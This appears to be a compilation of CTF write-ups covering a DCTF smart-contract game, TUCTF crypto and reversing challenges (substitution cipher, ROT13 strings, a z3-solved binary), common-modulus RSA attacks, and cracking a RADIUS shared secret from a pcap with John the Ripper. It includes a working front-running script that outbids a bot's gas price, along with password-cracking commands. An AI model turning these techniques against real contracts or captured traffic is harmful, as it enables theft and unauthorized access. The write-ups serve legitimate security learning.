Looking at the source code of the DctfChall.sol you can see that the smart contract is bassically a game of *rock, paper, scissor, spock, lizard*. It can be played by two players and you can choose one of the 5 options available (from 1 to 5).
The Winner player is decide based on the **getWinner()** function:```javascript function getWinner(uint8 option1, uint8 option2) internal returns (uint8) { if(option1 == option2) { return 0; }
if(option1 == 0x1) { if(option2 == 0x3 || option2 == 0x5) return 1; return 2; }
if(option1 == 0x2) { if(option2 == 0x1 || option2 == 0x4) return 1; return 2; }
if(option1 == 0x3) { if(option2 == 0x2 || option2 == 0x5) return 1; return 2; }
if(option1 == 0x4) { if(option2 == 0x3 || option2 == 0x1) return 1; return 2; }
if(option1 == 0x5) { if(option2 == 0x4 || option2 == 0x2) return 1; return 2; }
return 0;//should never get here}```
The goal is to make the **getFlag()** function to answer with *"this guy should receive the reward"* when is being called by the Admin Bot.
``` javascriptfunction getFlag() onlyIfIsPro public returns (string) { return 'this guy should receive the reward'; } modifier onlyIfIsPro() { require(solvedHistory[msg.sender] >= 10 && solvedHistory[msg.sender] == triesHistory[msg.sender]); _; }```As you can see above, this is going to happen only if you win 10 times in a row but never loose a game.
##### The solutionThe idea is similar with previous challenge, we can "subscribe" to all transactions being made on the blockchain against a specific address by using the API available in the **sample.html**. ```javascript
$(document).ready(function() { client = io.connect('http://45.76.94.172:8080');
/* receive transactions based on web3.eth.subscribe('pendingTransactions') */ client.on('transaction', function(data) { console.log('transaction', data); });
client.on('connect', function() { console.log('connected'); client.emit('listen_for', mytarget); });});```Thus, we **can see** what other player/bot sent to the targetted smart contract and come up with an option that can secure each time our victory. The vulnerability is called [Transaction-Ordering Dependence (TOD) / Front Running](https://consensys.github.io/smart-contract-best-practices/known_attacks/#transaction-ordering-dependence-tod-front-running) and is bassically some sort of Race Condition by knowing what the contract would do based on code logics.
However, in comparison with last time, we need to send the answer in the same block with the Bot Player. This was supposed to be a "security feature" in comparison with first contract version.
``` javascriptfunction choose(uint8 option) onlyPlaying onlyWithBet isValidOption(option) onlyValidPlayers payable public { if(totalplayers == 0) { //this ensures that we are on the same block game_start = block.number; } else if(totalplayers == 1) { require(game_start == block.number); } ```So bassically we need to *know* the answer before the bot player and somehow get executed by the blockchain minning pool before the other player.
This can be done by using almost the same solution like the previous challenge but with a twist: increase the cost of gas we are willing to pay for minning. This will ensure that, although the bot sent first his work on the block, the minners mined the work based on gas prices.
##### The solver```html
<html><head>
<script src="https://cdn.socket.io/socket.io-1.4.5.js"></script><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>var client;var myaddress = '0xPLAYER_ADDRESS';var mypassword = 'password for players wallet';var mytarget = '0xVICTIM_WALLET';
var winners = [ [0,0,0,0,0,0], [0,0,2,1,2,1], [0,1,0,2,1,2], [0,2,1,0,2,1], [0,1,2,1,0,2], [0,2,1,2,1,0]];
function getWinner(option1) { for(var i=1;i<=5;i++) { if(winners[option1][i] == 2) { return i; } } return option1; //shouldn't get there}
$(document).ready(function() { client = io.connect('http://45.77.142.124:8080');
client.on('transaction', function(data) { console.log('transaction', data, data.from, myaddress); if(data.from.toLowerCase() != myaddress.toLowerCase() && data.input != '0x' && data.input.indexOf('0xf94e349d') !== -1) { var option = data.input.slice(-1); if(1 <= option && option <= 5) { winner_option = getWinner(option); console.log('sending winner option for combination: ', option, winner_option); $.post('https://beta.dctf-f1nals-2017.def.camp', { function:'call_contract', abi: '[{"constant":true,"inputs":[],"name":"totalinvested","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"solvedHistory","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"bot","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalplayers","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"game_start","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"minbet","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"triesHistory","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"play","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"player","type":"address"}],"name":"isPlaying","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"reset","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"option","type":"uint8"}],"name":"choose","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"getFlag","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_minbet","type":"uint256"},{"name":"_bot","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]', address: mytarget, from: myaddress, password: mypassword, func:'choose', params:JSON.stringify([winner_option]), value:'10000000000000', type:'standard', gas:'2000000', gasPrice: 1*data.gasPrice+100000 //larger gas price than the bot }, function(data) { console.log(data); }); } } });
client.on('connect', function() { console.log('connected'); client.emit('listen_for', mytarget); });});</script>
</head><body></body></html>``` |
Slightly toned down version of last year: 50 encryption oracle challenges. The cipher is a character shift + substitution.
https://advancedpersistentjest.com/2017/11/27/writeups-lucifervm-notes-worth-a-thousand-words-the-never-ending-crypto-tuctf/ |
The crypto was a simple substitution cipher over the printable characters. After running it 50 times, the flag was printed```
import socket class Netcat:
""" Python 'netcat like' module """
def __init__(self, ip, port):
self.buff = "" self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((ip, port))
def read(self, length = 1024):
""" Read 1024 bytes off the socket """
return self.socket.recv(length) def read_until(self, data):
""" Read data into the buffer until we have data """
while not data in self.buff: self.buff += self.socket.recv(1024) pos = self.buff.find(data) rval = self.buff[:pos + len(data)] self.buff = self.buff[pos + len(data):] return rval def write(self, data):
self.socket.send(data) def close(self):
self.socket.close()
# below is a extract from a sample exploit that# interfaces with a tcp socketprint "YES"# start a new Netcat() instancenc = Netcat('neverending.tuctf.com', 12345)while True: print nc.read() nc.write(" \n") x=nc.read().split("is ") b=ord(x[1][0]) ble=b-32 yo=x[2].split(" d")[0] s="" for i in yo: ye=ord(i)-ble if ye<32: ye=ye-32+127 s=s+chr(ye) print s nc.write(s+"\n")
``` |
# ▼▼▼Gateway(LuciferVM:25)、316/948team=33.3%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
--- ```Once you have the password to the VM archive, you will still need to get the decryption password to the root drive. This is the gateway challenge, and it can be found in the only unencrypted partition on the drive.The decryption password does NOT include TUCTF{}, but the flag does.
Hint dumpDownload newest binaryRun stringsUse tool```
【他】
・`bcea5034bd8dbfd6dd9e30b929f9c123`ファイルが提供されている。
-----
`$ strings bcea5034bd8dbfd6dd9e30b929f9c123 `
```/lib64/ld-linux-x86-64.so.2libc.so.6puts__stack_chk_failstdinprintffgets__cxa_finalize__libc_start_mainGLIBC_2.4GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableAWAVIAUATL[]A\A]A^A_GHPGS{JrypbzrOnpx,Unpxrezna}A Multi-Purpose Utility for Calculating the ROT13 of StringsThere is no other purpose of this tool.Please enter your string: Your ROT13-ed String is: %sThank you for using this simple tool.This tool exists only for this purpose.There are no secrets contained within this tool.Eventually, you'll give up reading this garbage, right?Even I wouldn't waste time on this.Good luck on the REAL challenge.Literally all it does is take up space.Obviously, this is a distraction.Finally! A secret hidden flag!Currently, it will literally do nothing outside of padding the file.Turns out UPX packer REQUIRES a binary to be at least 40kbsUnfortunately, this function will now exist.To be sure, you may be thinking to yourself:{Spoilers, it's not}For real though, go solve the challenge so you can get on to the cool stuff.Anyone could write this garbage, why would it be a secret.Here you go, more garbage.Really, it is just wasting space.}-: Or not I guess, up to you.NOTHING HERE.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;*3$"GCC: (GNU) 7.2.0init.ccrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.6973__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrygate.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_finirandomPaddingFunctionwelcomeLine1_ITM_deregisterTMCloneTableputs@@GLIBC_2.2.5stdin@@GLIBC_2.2.5_edatarot13__stack_chk_fail@@GLIBC_2.4printf@@GLIBC_2.2.5datapad__libc_start_main@@GLIBC_2.2.5fgets@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_usedsketchyString__libc_csu_initdatapad2__bss_startmainexitLine1__TMC_END___ITM_registerTMCloneTable__cxa_finalize@@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.got.plt.data.bss.comment```
↓
`GHPGS{JrypbzrOnpx,Unpxrezna}`
↓rot13でデコード
```GHPGS{JrypbzrOnpx,Unpxrezna}HIQHT{KszqcAsPoqy,VoqysfAob}IJRIU{LtArdBtQprz,WprztgBpc}JKSJV{MuBseCuRqsA,XqsAuhCqd}KLTKW{NvCtfDvSrtB,YrtBviDre}LMULX{OwDugEwTsuC,ZsuCwjEsf}MNVMY{PxEvhFxUtvD,atvDxkFtg}NOWNZ{QyFwiGyVuwE,buwEylGuh}OPXOa{RzGxjHzWvxF,cvxFzmHvi}PQYPb{SAHykIAXwyG,dwyGAnIwj}QRZQc{TBIzlJBYxzH,exzHBoJxk}RSaRd{UCJAmKCZyAI,fyAICpKyl}STbSe{VDKBnLDazBJ,gzBJDqLzm}TUcTf{WELCoMEbACK,hACKErMAn} ●UVdUg{XFMDpNFcBDL,iBDLFsNBo}VWeVh{YGNEqOGdCEM,jCEMGtOCp}WXfWi{ZHOFrPHeDFN,kDFNHuPDq}XYgXj{aIPGsQIfEGO,lEGOIvQEr}YZhYk{bJQHtRJgFHP,mFHPJwRFs}ZaiZl{cKRIuSKhGIQ,nGIQKxSGt}abjam{dLSJvTLiHJR,oHJRLyTHu}bckbn{eMTKwUMjIKS,pIKSMzUIv}cdlco{fNULxVNkJLT,qJLTNAVJw}demdp{gOVMyWOlKMU,rKMUOBWKx}efneq{hPWNzXPmLNV,sLNVPCXLy}fgofr{iQXOAYQnMOW,tMOWQDYMz}ghpgs{jRYPBZRoNPX,uNPXREZNA}hiqht{kSZQCaSpOQY,vOQYSFaOB}ijriu{lTaRDbTqPRZ,wPRZTGbPC}jksjv{mUbSEcUrQSa,xQSaUHcQD}kltkw{nVcTFdVsRTb,yRTbVIdRE}lmulx{oWdUGeWtSUc,zSUcWJeSF}mnvmy{pXeVHfXuTVd,ATVdXKfTG}nownz{qYfWIgYvUWe,BUWeYLgUH}opxoA{rZgXJhZwVXf,CVXfZMhVI}pqypB{sahYKiaxWYg,DWYgaNiWJ}qrzqC{tbiZLjbyXZh,EXZhbOjXK}rsArD{ucjaMkczYai,FYaicPkYL}stBsE{vdkbNldAZbj,GZbjdQlZM}tuCtF{welcOmeBack,HackeRmaN}●uvDuG{xfmdPnfCbdl,IbdlfSnbO}vwEvH{ygneQogDcem,JcemgTocP}wxFwI{zhofRphEdfn,KdfnhUpdQ}xyGxJ{AipgSqiFego,LegoiVqeR}yzHyK{BjqhTrjGfhp,MfhpjWrfS}zAIzL{CkriUskHgiq,NgiqkXsgT}ABJAM{DlsjVtlIhjr,OhjrlYthU}BCKBN{EmtkWumJiks,PiksmZuiV}CDLCO{FnulXvnKjlt,QjltnavjW}DEMDP{GovmYwoLkmu,RkmuobwkX}EFNEQ{HpwnZxpMlnv,SlnvpcxlY}FGOFR{IqxoayqNmow,TmowqdymZ}```
↓
TUcTf{WELCoMEbACK,hACKErMAn} ⇒ incorrect!!
tuCtF{welcOmeBack,HackeRmaN} ⇒ incorrect!!
↓
小文字は小文字のままrot13、大文字は大文字のままrot13する。
`TUCTF{WelcomeBack,Hackerman}` |
# future
Full disclosure, the solution I found and talk about in here is an unintended solution (got the intended flag after showing my solution to an admin). If you want the intended solution, look at a different writeup.
Let's take a look at the binary:
```$ file futurefuture: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d6e528233c162804c1b358c2e15be38eb717c98a, not stripped$ ./future What's the flag: TUCTF{heres_a_flag}Try harder.```
So it is a 32 bit binary, and when we run it it prompts us for the flag. Luckily for this one we're given the source code. Let's take a look at it:
```$ cat future.c #include <stdio.h>#include <string.h>#include <stdlib.h>
void genMatrix(char mat[5][5], char str[]) { for (int i = 0; i < 25; i++) { int m = (i * 2) % 25; int f = (i * 7) % 25; mat[m/5][m%5] = str[f]; }}
void genAuthString(char mat[5][5], char auth[]) { auth[0] = mat[0][0] + mat[4][4]; auth[1] = mat[2][1] + mat[0][2]; auth[2] = mat[4][2] + mat[4][1]; auth[3] = mat[1][3] + mat[3][1]; auth[4] = mat[3][4] + mat[1][2]; auth[5] = mat[1][0] + mat[2][3]; auth[6] = mat[2][4] + mat[2][0]; auth[7] = mat[3][3] + mat[3][2] + mat[0][3]; auth[8] = mat[0][4] + mat[4][0] + mat[0][1]; auth[9] = mat[3][3] + mat[2][0]; auth[10] = mat[4][0] + mat[1][2]; auth[11] = mat[0][4] + mat[4][1]; auth[12] = mat[0][3] + mat[0][2]; auth[13] = mat[3][0] + mat[2][0]; auth[14] = mat[1][4] + mat[1][2]; auth[15] = mat[4][3] + mat[2][3]; auth[16] = mat[2][2] + mat[0][2]; auth[17] = mat[1][1] + mat[4][1];}
int main() { char flag[26]; printf("What's the flag: "); scanf("%25s", flag); flag[25] = 0;
if (strlen(flag) != 25) { puts("Try harder."); return 0; }
// Setup matrix char mat[5][5];// Matrix for a jumbled string genMatrix(mat, flag); // Generate auth string char auth[19]; // The auth string they generate auth[18] = 0; // null byte genAuthString(mat, auth); char pass[19] = "\x8b\xce\xb0\x89\x7b\xb0\xb0\xee\xbf\x92\x65\x9d\x9a\x99\x99\x94\xad\xe4\x00"; // Check the input if (!strcmp(pass, auth)) { puts("Yup thats the flag!"); } else { puts("Nope. Try again."); } return 0;}```
So looking at the source code, we can tell what the program does. It scans in up to 25 bytes of input, checks to make sure that it scanned in 25 bytes. Then it creates a 5 by 5 matrix, and stores the 25 bytes in the matrix in a slightly obscure way. Then it takes the matrix and performs 19 different additions using 2-3 different matrix values for each iteration. It then compares the output of that to a a predefined answer `pass`. If they are the same, then you have the flag.
So first we need to figure out how our input is stored in the matrix. For that, python can help. There are three different values we need to worry about in the `genMatrix` function `f`, `m/5`, and `m%5`:
```>>> for i in xrange(25):... print ((i * 2) % 25) / 5... 0001122233444001112233344>>> for i in xrange(25):... print ((i * 2) % 25) % 5... 0241302413024130241302413>>> for i in xrange(25):... print ((i * 7) % 25) ... 0714213101724613202916235121918152241118```
Putting it all together, we find that this is how our input is stored in the5 by 5 matrix:
```matrix[0][0] = input[0]matrix[0][2] = input[7]matrix[0][4] = input[14]matrix[1][1] = input[21]matrix[1][3] = input[3]matrix[2][0] = input[10]matrix[2][2] = input[17]matrix[2][4] = input[24]matrix[3][1] = input[6]matrix[3][3] = input[13]matrix[4][0] = input[20]matrix[4][2] = input[2]matrix[4][4] = input[9]matrix[0][1] = input[16]matrix[0][3] = input[23]matrix[1][0] = input[5]matrix[1][2] = input[12]matrix[1][4] = input[19]matrix[2][1] = input[1]matrix[2][3] = input[8]matrix[3][0] = input[15]matrix[3][2] = input[22]matrix[3][4] = input[4]matrix[4][1] = input[11]matrix[4][3] = input[18]```
The mathematical operations done with the matrix is made clear in the source code. So now that we know how our input is scanned in, stored in the matrix, the algorithm the data is ran through, and the desired outpu tit's compared against. We can just write a bit of python code which will use Microsoft's z3 theorem solver to figure out the input we need to get an output:
```#Import z3from z3 import *
#Designate the input z3 will have control ofinp = []for i in xrange(25): b = BitVec("%s" % i, 8) inp.append(b)#Store the input from z3 in the matrixh, l = 5, 5;mat = [[0 for x in range(l)] for y in range(h)]mat[0][0] = inp[0]mat[0][2] = inp[7]mat[0][4] = inp[14]mat[1][1] = inp[21]mat[1][3] = inp[3]mat[2][0] = inp[10]mat[2][2] = inp[17]mat[2][4] = inp[24]mat[3][1] = inp[6]mat[3][3] = inp[13]mat[4][0] = inp[20]mat[4][2] = inp[2]mat[4][4] = inp[9]mat[0][1] = inp[16]mat[0][3] = inp[23]mat[1][0] = inp[5]mat[1][2] = inp[12]mat[1][4] = inp[19]mat[2][1] = inp[1]mat[2][3] = inp[8]mat[3][0] = inp[15]mat[3][2] = inp[22]mat[3][4] = inp[4]mat[4][1] = inp[11]mat[4][3] = inp[18]#print mat
#Perform the 19 math operations with the matrixauth = [0]*19auth[0] = mat[0][0] + mat[4][4]auth[1] = mat[2][1] + mat[0][2]auth[2] = mat[4][2] + mat[4][1]auth[3] = mat[1][3] + mat[3][1]auth[4] = mat[3][4] + mat[1][2]auth[5] = mat[1][0] + mat[2][3]auth[6] = mat[2][4] + mat[2][0]auth[7] = mat[3][3] + mat[3][2] + mat[0][3]auth[8] = mat[0][4] + mat[4][0] + mat[0][1]auth[9] = mat[3][3] + mat[2][0]auth[10] = mat[4][0] + mat[1][2]auth[11] = mat[0][4] + mat[4][1]auth[12] = mat[0][3] + mat[0][2]auth[13] = mat[3][0] + mat[2][0]auth[14] = mat[1][4] + mat[1][2]auth[15] = mat[4][3] + mat[2][3]auth[16] = mat[2][2] + mat[0][2]auth[17] = mat[1][1] + mat[4][1] #print auth
#Create the solver, and the desired outputz = Solver()enc = [0x8b, 0xce, 0xb0, 0x89, 0x7b, 0xb0, 0xb0, 0xee, 0xbf, 0x92, 0x65, 0x9d, 0x9a, 0x99, 0x99, 0x94, 0xad, 0xe4]
#Create the z3 constraints for what the output should be:#equal to it's corresponding enc value#an ascii character to make it easier to input into the programfor i in xrange(len(enc)):# print enc[i] z.add(auth[i] == enc[i])for i in xrange(25): z.add(inp[i] > 32) z.add(inp[i] < 127)
#Check if z3 can solve it, and if it can print out the solutionif z.check() == sat:# print z print "Condition is satisfied, would still recommend crying: " + str(z.check()) solution = z.model() print solution
#Check if z3 can't solve itif z.check() == unsat: print "Condition is not satisfied, would recommend crying: " + str(z.check())```
when we run it:
```python solve.py Condition is satisfied, would still recommend crying: sat[13 = 62, 15 = 69, 21 = 118, 8 = 85, 2 = 66, 6 = 99, 19 = 116, 16 = 80, 20 = 64, 3 = 38, 10 = 84, 14 = 47, 18 = 63, 7 = 96, 9 = 64, 4 = 86, 23 = 58, 5 = 91, 1 = 110, 17 = 77, 22 = 118, 0 = 75, 12 = 37, 24 = 92, 11 = 110]```
and when we take the solution z3 gave us, reorganize it in a sequential order and convert it to ascii we get the string ``KnB&V[c`U@Tn%>/EPM?t@vv:\`` . When we try it:
```$ ./future What's the flag: KnB&V[c`U@Tn%>/EPM?t@vv:\Yup thats the flag!```
after talking to an admin about my solution, he gave me the real flag which is `TUCTF{5y573m5_0f_4_d0wn!}`.
Just like that, we captured the flag using an unintended solution! |
# Common Modulus 1 - Cryptography - 98 points - 162 teams solved
> We made RSA Encryption Scheme/Tester. Can you break it?>> [Common_Modulus_1.zip](./Common_Modulus_1.zip-37882dbd7dd05381bbf72a11fbbdb3f23def0e4981bc9ffcd399e4c138549fc8)
# Common Modulus 2 - Cryptography - 133 points - 104 teams solved
> The previous one is very easy. so is this also easy?>> [Common_Modulus_2.zip](./Common_Modulus_2.zip-24d74ea8d1b7bc154d30bb667f6f13ef24a9fe260a7741caab427421d1070c98)
# Common Modulus 3 - Cryptography - 210 points - 48 teams solved
> try harder!>> [Common_Modulus_3.zip](./Common_Modulus_3.zip-275005199fd0ecbec4183fd7e1b421f65c7bb982ffba65a12a4089e263899152)
These challenges are three variations of the same problem, where a plaintext is RSA encrypted twice, with public keys `(e1, n)` and `(e2, n)` where `n` is the same in both keys but `e1 != e2`. We are given a file with both public keys and the two ciphertexts `ct1` and `ct2`.
At first I totally missed that `e1` and `e2` was explicitly given in the files, so I wrote a script to brute force find the private keys by generating `ct1 ** x mod n` and `ct2 ** y mod n` until I found a match. This works because `(m ** e1) ** x = m ** (e1 * x) = m ** (e2 * y) mod n` when `e1 = y` and `e2 = x`. Since each `e1` and `e2` are generated from a random number below `2 ** 20` this just takes a few minutes.
With the two public keys fully known, the solution is as described [in this Stackexchange post](https://crypto.stackexchange.com/questions/1614/rsa-cracking-the-same-message-is-sent-to-two-different-people-problem) - you take the extended GCD for `e1` and `e2` to find two values where `e1 * s + e2 * t = 1` which then can be extended to `[(ct1 ** s) * (ct2 ** t) = (m ** (e1 * s)) * (m ** (e2 * t)) = m ** (e1 * s + e2 * t) = m ** 1 = m] mod n`. The only issue is that either `s` or `t` is negative, so you have to use modular multiplicative inverse to calculate a negative power. After this, we get `m`, convert it to bytes, and get the first flag `CBCTF{6ac2afd2fc108894db8ab21d1e30d3f3}`
In the second problem, `e1` and `e2` is generated with `e = 3 * get_random_prime(20)`, so they have a common factor. We simply divide both of them by 3, and the above alorithm still works. The only problem is that we are left with the result `m ** 3`. Since the number of bits in `m` is assumed to be less than one third of the size of `n`, we can simply find the cube root of the result, and get the proper `m`. The second flag is `CBCTF{d65718235c137a94264f16d3a51fefa1}`.
In the third problem, the common factor is now `17`, but more importantly, the flag is left aligned with zero bytes until the plaintext is 8192 bits in length. In practice, this means that `mp = m ** (1 << (x*8))`, and the value we get when repeating the algorithm from the previous problems give us `mp ** 17`. Our solution then becomes to generate modular multiplicative inverses for all `1 << (x*8) mod n`, then try all of them. One of them will leave us with `m ** 17` as the result, which we then can take the 17th root of to get the original `m`, and the flag which is `CBCTF{b5c96e00cb90d11ec6eccdc58ef0272d}`. |
Network Admin :: Q4=================
Challenge Prompt--------
> The network admin is busy today, from the pcap, figure out the following questions.> > What is the network admins password?
-------------------
__For these challenges, three files were supplied: [`NET_ADMIN.pcapng`](../NET_ADMIN.pcapng), [`NET_ADMIN2.pcapng`](../NET_ADMIN2.pcapng), and [`Net_admin_Diagram.png`](../Net_admin_Diagram.png)__
The target [PCAP] file for this challenge is the second one, [`NET_ADMIN2.pcapng`](../NET_ADMIN2.pcapng), since that is the one that has the packets for actual authentication. If you dig deep into [Wireshark] on the packets that include his name and the "`Password`" string you can see fields for `User-Authenication` but the password is encrypted.
You can notice though that it is the [RADIUS][RADIUS] protocol. That at least gave us some keywords we use to start some research.
I Googled for a good while and eventually found out that the [Jumbo John The Ripper] has support for scraping out a [RADIUS][RADIUS] "shared secret" with a [PCAP]. That sounded like everything we needed, with everything we had... but it wasn't exactly _a password._ The shared secret, though, could help us uncover the password.
So I downloaded [Jumbo John The Ripper] with [`git`][git] and ran the [`radius2john.pl`][radius2john.pl] script to get a format that [Jumbo John The Ripper] could work with. Then I compiled [Jumbo John The Ripper] and ran it.
```git clone "https://github.com/magnumripper/JohnTheRipper"cd JohnTheRipper/run./radius2john.pl ../../NET_ADMIN2.pcapng > hashes.txtcd ../srcconfiguremakecd ../run./john hashes.txt```
It got the shared secret pretty quickly!
